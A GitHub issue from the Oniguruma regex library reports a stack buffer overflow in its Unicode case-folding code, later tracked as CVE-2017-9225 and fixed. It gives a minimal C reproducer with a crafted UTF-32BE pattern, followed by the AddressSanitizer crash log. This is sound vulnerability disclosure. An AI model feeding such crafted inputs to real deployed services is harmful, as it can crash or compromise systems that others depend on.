Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Buffer Overflow in onigenc_unicode_get_case_fold_codes_by_str() #56

Closed
lxxxxfdh opened this issue May 22, 2017 · 1 comment
Closed

Buffer Overflow in onigenc_unicode_get_case_fold_codes_by_str() #56

lxxxxfdh opened this issue May 22, 2017 · 1 comment

Comments

@lxxxxfdh
Copy link

lxxxxfdh commented May 22, 2017

This buffer overflow is found in the latest develop branch with the code:

#include <oniguruma.h>
int main() {
    regex_t *reg;
    const OnigUChar* inp = (const OnigUChar*)"\x3f\xff\x63\x7f\xff\xff\xff\xff\x4d\x22\x00\x00";
    if (onig_new
        (&reg, inp, inp+12,ONIG_OPTION_IGNORECASE , ONIG_ENCODING_UTF32_BE,
         ONIG_SYNTAX_DEFAULT, 0) == 0)
        onig_free(reg);
    return 0;
}

Error reported in asan:

 =================================================================
==1944==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc56669ea4 at pc 0x0000004483f9 bp 0x7ffc56669aa0 sp 0x7ffc56669a90
WRITE of size 4 at 0x7ffc56669ea4 thread T0
    #0 0x4483f8 in onigenc_unicode_get_case_fold_codes_by_str /home/xie/Downloads/oni/oni-asan-dev/src/unicode.c:553
    #1 0x44354b in utf32be_get_case_fold_codes_by_str /home/xie/Downloads/oni/oni-asan-dev/src/utf32_be.c:170
    #2 0x4318c5 in expand_case_fold_string /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:3431
    #3 0x432279 in setup_tree /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:3733
    #4 0x43c41f in onig_compile /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:5361
    #5 0x43d092 in onig_new /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:5565
    #6 0x401082 in main /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:5
    #7 0x7f4ca3cc682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #8 0x400ec8 in _start (/home/xie/Downloads/oni/oni-asan-dev/test/testc+0x400ec8)

Address 0x7ffc56669ea4 is located in stack of thread T0 at offset 420 in frame
    #0 0x43160b in expand_case_fold_string /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:3411

  This frame has 3 object(s):
    [32, 40) 'prev_node'
    [96, 104) 'srem'
    [160, 420) 'items' <== Memory access at offset 420 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/xie/Downloads/oni/oni-asan-dev/src/unicode.c:553 onigenc_unicode_get_case_fold_codes_by_str
Shadow bytes around the buggy address:
  0x10000acc5380: 00 00 f4 f4 f3 f3 f3 f3 00 00 00 00 00 00 00 00
  0x10000acc5390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000acc53a0: f1 f1 f1 f1 00 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4
  0x10000acc53b0: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000acc53c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10000acc53d0: 00 00 00 00[04]f4 f4 f4 f3 f3 f3 f3 00 00 00 00
  0x10000acc53e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000acc53f0: 00 00 00 00 00 00 f1 f1 f1 f1 04 f4 f4 f4 f3 f3
  0x10000acc5400: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
  0x10000acc5410: f1 f1 00 f4 f4 f4 f2 f2 f2 f2 00 00 f4 f4 f2 f2
  0x10000acc5420: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==1944==ABORTING
@xixabangm4
Copy link

Thanks, please use CVE-2017-9225 to reference this issue.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9225

@kkos kkos closed this as completed in 166a6c3 May 29, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants